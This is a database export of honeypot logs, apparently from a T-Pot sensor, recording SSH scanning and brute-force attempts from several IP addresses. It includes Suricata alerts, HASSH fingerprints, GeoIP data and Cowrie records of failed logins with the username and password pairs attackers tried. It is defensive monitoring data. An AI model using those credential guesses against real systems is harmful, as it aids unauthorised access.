36913	120.36.157.98	109.199.241.180	Suricata	2021-09-20 15:18:09.4274+03	2021-09-20 15:30:02.913869+03	{"_id": "7gYkA3wBvYTbRNuEaGWs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:18:08.812564+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "120.36.157.98", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 476483604735508, "payload": "AAADzAYURANEpr7PrAqnmjc26inMQAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 22605, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:18:09.427400Z", "@timestamp": "2021-09-20T12:18:09.427Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......D.D....\\n..76.).@...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
36914	120.36.157.98	109.199.241.180	Fatt	2021-09-20 15:18:09.4274+03	2021-09-20 15:30:02.915866+03	{"_id": "7wYkA3wBvYTbRNuEaWWp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "120.36.157.98", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 22605, "dest_port": 22, "timestamp": "2021-09-20T12:18:09.427400", "@timestamp": "2021-09-20T12:18:09.427Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
36915	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 15:18:10.743352+03	2021-09-20 15:30:02.916867+03	{"_id": "8AYkA3wBvYTbRNuEa2WV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.login.failed", "message": "login attempt [austin/austin] failed", "session": "f7bbf8615581", "@version": "1", "password": "austin", "username": "austin", "timestamp": "2021-09-20T12:18:10.743352Z", "@timestamp": "2021-09-20T12:18:10.743Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
37140	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:19:10.75201+03	2021-09-20 15:30:03.263882+03	{"_id": "LQYlA3wBvYTbRNuEVmcX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "42de2997059c", "@version": "1", "duration": 1.363100528717041, "timestamp": "2021-09-20T12:19:10.752010Z", "@timestamp": "2021-09-20T12:19:10.752Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	FR
36916	157.240.234.15	109.199.241.180	Suricata	2021-09-20 15:18:11.434809+03	2021-09-20 15:30:02.917867+03	{"_id": "8wYkA3wBvYTbRNuEcGV9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:18:11.313021+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 198}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.15", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.15", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 1990141749216957, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 80, "dest_port": 48906, "timestamp": "2021-09-20T12:18:11.434809Z", "@timestamp": "2021-09-20T12:18:11.434Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
36917	157.240.234.15	109.199.241.180	Suricata	2021-09-20 15:18:11.313021+03	2021-09-20 15:30:02.919868+03	{"_id": "8gYkA3wBvYTbRNuEcGV9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:18:11.313021+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.15", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.15", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 1990141749216957, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 80, "dest_port": 48906, "timestamp": "2021-09-20T12:18:11.313021Z", "@timestamp": "2021-09-20T12:18:11.313Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
36918	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 15:18:12.051737+03	2021-09-20 15:30:02.920867+03	{"_id": "9gYkA3wBvYTbRNuEc2Vm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "f7bbf8615581", "@version": "1", "duration": 2.930481433868408, "timestamp": "2021-09-20T12:18:12.051737Z", "@timestamp": "2021-09-20T12:18:12.051Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
36919	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 15:18:08.400706+03	2021-09-20 15:30:02.922871+03	{"_id": "0gYkA3wBvYTbRNuEY2XE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.196:38074 (192.168.176.2:22) [session: d8b3a5d67995]", "session": "d8b3a5d67995", "@version": "1", "protocol": "ssh", "src_port": 38074, "dest_port": 22, "timestamp": "2021-09-20T12:18:08.400706Z", "@timestamp": "2021-09-20T12:18:08.400Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	RU
36920	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:18:08.28258+03	2021-09-20 15:30:02.923868+03	{"_id": "1gYkA3wBvYTbRNuEY2XE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "434548edc848", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:18:08.282580Z", "@timestamp": "2021-09-20T12:18:08.282Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	SE
36928	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:18:08.773285+03	2021-09-20 15:30:02.93587+03	{"_id": "2AYkA3wBvYTbRNuEY2XE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.login.failed", "message": "login attempt [root/rootmail] failed", "session": "434548edc848", "@version": "1", "password": "rootmail", "username": "root", "timestamp": "2021-09-20T12:18:08.773285Z", "@timestamp": "2021-09-20T12:18:08.773Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	SE
36921	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 15:18:08.461267+03	2021-09-20 15:30:02.925867+03	{"_id": "1QYkA3wBvYTbRNuEY2XE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "3des-cbc", "arcfour", "arcfour128", "arcfour256"], "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "eccf733a56108dec8ecc8efbc681be63", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: eccf733a56108dec8ecc8efbc681be63", "session": "d8b3a5d67995", "@version": "1", "timestamp": "2021-09-20T12:18:08.461267Z", "@timestamp": "2021-09-20T12:18:08.461Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	RU
36922	159.253.30.249	109.199.241.180	Suricata	2021-09-20 15:18:08.388522+03	2021-09-20 15:30:02.926866+03	{"_id": "3AYkA3wBvYTbRNuEZGXC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.253.30.249", "dest_ip": "192.168.20.116", "flow_id": 228563060025817, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42368, "dest_port": 22, "timestamp": "2021-09-20T12:18:08.388522Z", "@timestamp": "2021-09-20T12:18:08.388Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	SE
36923	159.253.30.249	109.199.241.180	Suricata	2021-09-20 15:18:08.390379+03	2021-09-20 15:30:02.927868+03	{"_id": "2gYkA3wBvYTbRNuEZGXC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:18:08.223705+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.253.30.249", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 228563060025817, "payload": "AAADzAYUpRLLti9P5a3q6Zz8OF6oOwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42368, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:18:08.390379Z", "@timestamp": "2021-09-20T12:18:08.390Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........../O......8^.;...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	SE
36924	5.188.62.196	109.199.241.180	Fatt	2021-09-20 15:18:08.460502+03	2021-09-20 15:30:02.929868+03	{"_id": "4gYkA3wBvYTbRNuEZmUJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "eccf733a56108dec8ecc8efbc681be63", "ccacts": "none", "ccastc": "none", "ceacts": 